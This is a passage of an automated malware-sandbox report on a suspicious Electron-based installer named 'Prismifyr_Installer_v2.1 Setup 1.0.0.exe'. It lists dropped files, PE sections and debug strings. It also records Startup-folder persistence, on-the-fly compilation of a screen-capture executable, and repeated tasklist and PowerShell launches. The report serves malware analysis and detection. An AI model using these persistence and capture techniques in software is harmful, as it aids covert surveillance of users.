Source:	Binary string: pdbpath_c = pdbpath + ".c.pdb" source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: "ProgramDataBaseFileName": "$(IntDir)\\vc90b.pdb", source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ** rbu_file.pDb!=0, then it is assumed to already be present on the source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270572239.0000000005E20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D3DCompiler_47.pdb source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2395663067.0000000005221000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: pdbpath_cc = pdbpath + ".cc.pdb" source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: "ProgramDatabaseFile": "Flob.pdb", source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\projects\src\out\Default\electron.exe.pdb source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D3DCompiler_47.pdbGCTL source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2395663067.0000000005221000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: pdb_base = "{}.{}.pdb".format(pdb_base, TARGET_TYPE_EXT[target_dict["type"]]) source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\projects\src\out\Default\vk_swiftshader.dll.pdb source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2461234245.0000000000849000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .$ac_ext \| .xcoff \| .tds \| .d \| .pdb \| .xSYM \| .bb \| .bbg \| .map \| .inf \| .dSYM \| .o \| *.obj ) source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270572239.0000000005E20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: .$ac_ext \| .xcoff \| .tds \| .d \| .pdb \| .xSYM \| .bb \| .bbg \| .map \| .inf \| .dSYM \| .o \| *.obj ) ;; source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270572239.0000000005E20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ** for all file descriptors with rbu_file.pDb!=0. If the argument has source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270572239.0000000005E20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: config_name, self.ExpandSpecial, output + ".pdb" source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ** rbu_file.pDb!=0. source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270572239.0000000005E20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\projects\src\out\Default\vulkan-1.dll.pdb source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2388748403.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392116421.0000000005C20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2388942202.00000000055C0000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /nologo /r:"Microsoft.VisualBasic.dll" /win32manifest:"app.manifest" /out:"screenCapture_1.3.2.exe" "C:\Users\user\AppData\Local\Temp\SCREEN~1\SCREEN~1.BAT"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /nologo /r:"Microsoft.VisualBasic.dll" /win32manifest:"app.manifest" /out:"screenCapture_1.3.2.exe" "C:\Users\user\AppData\Local\Temp\SCREEN~1\SCREEN~1.BAT"

Source: vk_swiftshader.dll.0.dr	Static PE information: section name: .gxfg
Source: vk_swiftshader.dll.0.dr	Static PE information: section name: .retplne
Source: vk_swiftshader.dll.0.dr	Static PE information: section name: _RDATA
Source: vulkan-1.dll.0.dr	Static PE information: section name: .gxfg
Source: vulkan-1.dll.0.dr	Static PE information: section name: .retplne
Source: vulkan-1.dll.0.dr	Static PE information: section name: _RDATA
Source: ffmpeg.dll.0.dr	Static PE information: section name: .gxfg
Source: ffmpeg.dll.0.dr	Static PE information: section name: .retplne
Source: ffmpeg.dll.0.dr	Static PE information: section name: _RDATA
Source: libEGL.dll.0.dr	Static PE information: section name: .gxfg
Source: libEGL.dll.0.dr	Static PE information: section name: .retplne
Source: libEGL.dll.0.dr	Static PE information: section name: _RDATA
Source: libGLESv2.dll.0.dr	Static PE information: section name: .gxfg
Source: libGLESv2.dll.0.dr	Static PE information: section name: .retplne
Source: libGLESv2.dll.0.dr	Static PE information: section name: _RDATA
Source: Prismifyr_Installer_v2.1.exe.0.dr	Static PE information: section name: .gxfg
Source: Prismifyr_Installer_v2.1.exe.0.dr	Static PE information: section name: .retplne
Source: Prismifyr_Installer_v2.1.exe.0.dr	Static PE information: section name: .rodata
Source: Prismifyr_Installer_v2.1.exe.0.dr	Static PE information: section name: CPADinfo
Source: Prismifyr_Installer_v2.1.exe.0.dr	Static PE information: section name: LZMADEC
Source: Prismifyr_Installer_v2.1.exe.0.dr	Static PE information: section name: _RDATA
Source: Prismifyr_Installer_v2.1.exe.0.dr	Static PE information: section name: malloc_h
Source: Prismifyr_Installer_v2.1.exe.0.dr	Static PE information: section name: prot
Source: ffmpeg.dll0.0.dr	Static PE information: section name: .gxfg
Source: ffmpeg.dll0.0.dr	Static PE information: section name: .retplne
Source: ffmpeg.dll0.0.dr	Static PE information: section name: _RDATA
Source: libEGL.dll0.0.dr	Static PE information: section name: .gxfg
Source: libEGL.dll0.0.dr	Static PE information: section name: .retplne
Source: libEGL.dll0.0.dr	Static PE information: section name: _RDATA
Source: libGLESv2.dll0.0.dr	Static PE information: section name: .gxfg
Source: libGLESv2.dll0.0.dr	Static PE information: section name: .retplne
Source: libGLESv2.dll0.0.dr	Static PE information: section name: _RDATA
Source: Prismifyr_Installer_v2.1.exe0.0.dr	Static PE information: section name: .gxfg
Source: Prismifyr_Installer_v2.1.exe0.0.dr	Static PE information: section name: .retplne
Source: Prismifyr_Installer_v2.1.exe0.0.dr	Static PE information: section name: .rodata
Source: Prismifyr_Installer_v2.1.exe0.0.dr	Static PE information: section name: CPADinfo
Source: Prismifyr_Installer_v2.1.exe0.0.dr	Static PE information: section name: LZMADEC
Source: Prismifyr_Installer_v2.1.exe0.0.dr	Static PE information: section name: _RDATA
Source: Prismifyr_Installer_v2.1.exe0.0.dr	Static PE information: section name: malloc_h
Source: Prismifyr_Installer_v2.1.exe0.0.dr	Static PE information: section name: prot
Source: Prismifyr_Installer_v2.1.exe.5.dr	Static PE information: section name: .gxfg
Source: Prismifyr_Installer_v2.1.exe.5.dr	Static PE information: section name: .retplne
Source: Prismifyr_Installer_v2.1.exe.5.dr	Static PE information: section name: .rodata
Source: Prismifyr_Installer_v2.1.exe.5.dr	Static PE information: section name: CPADinfo
Source: Prismifyr_Installer_v2.1.exe.5.dr	Static PE information: section name: LZMADEC
Source: Prismifyr_Installer_v2.1.exe.5.dr	Static PE information: section name: _RDATA
Source: Prismifyr_Installer_v2.1.exe.5.dr	Static PE information: section name: malloc_h
Source: Prismifyr_Installer_v2.1.exe.5.dr	Static PE information: section name: prot
Source: d9f7e9ec-5589-4098-b546-c97c7020ff02.tmp.node.5.dr	Static PE information: section name: _RDATA
Source: 1b6e99aa-5e17-4930-922d-0fcfed46e003.tmp.node.5.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File created: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\vulkan-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File created: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File created: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File created: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\libGLESv2.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File created: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\StdUtils.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File created: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\elevate.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File created: C:\Users\user\AppData\Local\Temp\d9f7e9ec-5589-4098-b546-c97c7020ff02.tmp.node	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File created: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\libGLESv2.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File created: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\nsExec.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File created: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\System.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File created: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\nsis7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Prismifyr_Installer_v2.1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File created: C:\Users\user\AppData\Local\Temp\1b6e99aa-5e17-4930-922d-0fcfed46e003.tmp.node	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File created: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\SpiderBanner.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File created: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\libEGL.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File created: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\ffmpeg.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File created: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\Prismifyr_Installer_v2.1.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File created: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File created: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\vk_swiftshader.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File created: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\libEGL.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File created: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\ffmpeg.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File created: C:\Users\user\AppData\Local\Temp\d9f7e9ec-5589-4098-b546-c97c7020ff02.tmp.node			Jump to dropped file
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File created: C:\Users\user\AppData\Local\Temp\1b6e99aa-5e17-4930-922d-0fcfed46e003.tmp.node			Jump to dropped file

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File created: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\LICENSE.electron.txt			Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File created: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\LICENSE.electron.txt			Jump to behavior

Boot Survival

Drops PE files to the startup folder

Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Prismifyr_Installer_v2.1.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Prismifyr_Installer_v2.1.exe

Jump to behavior

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
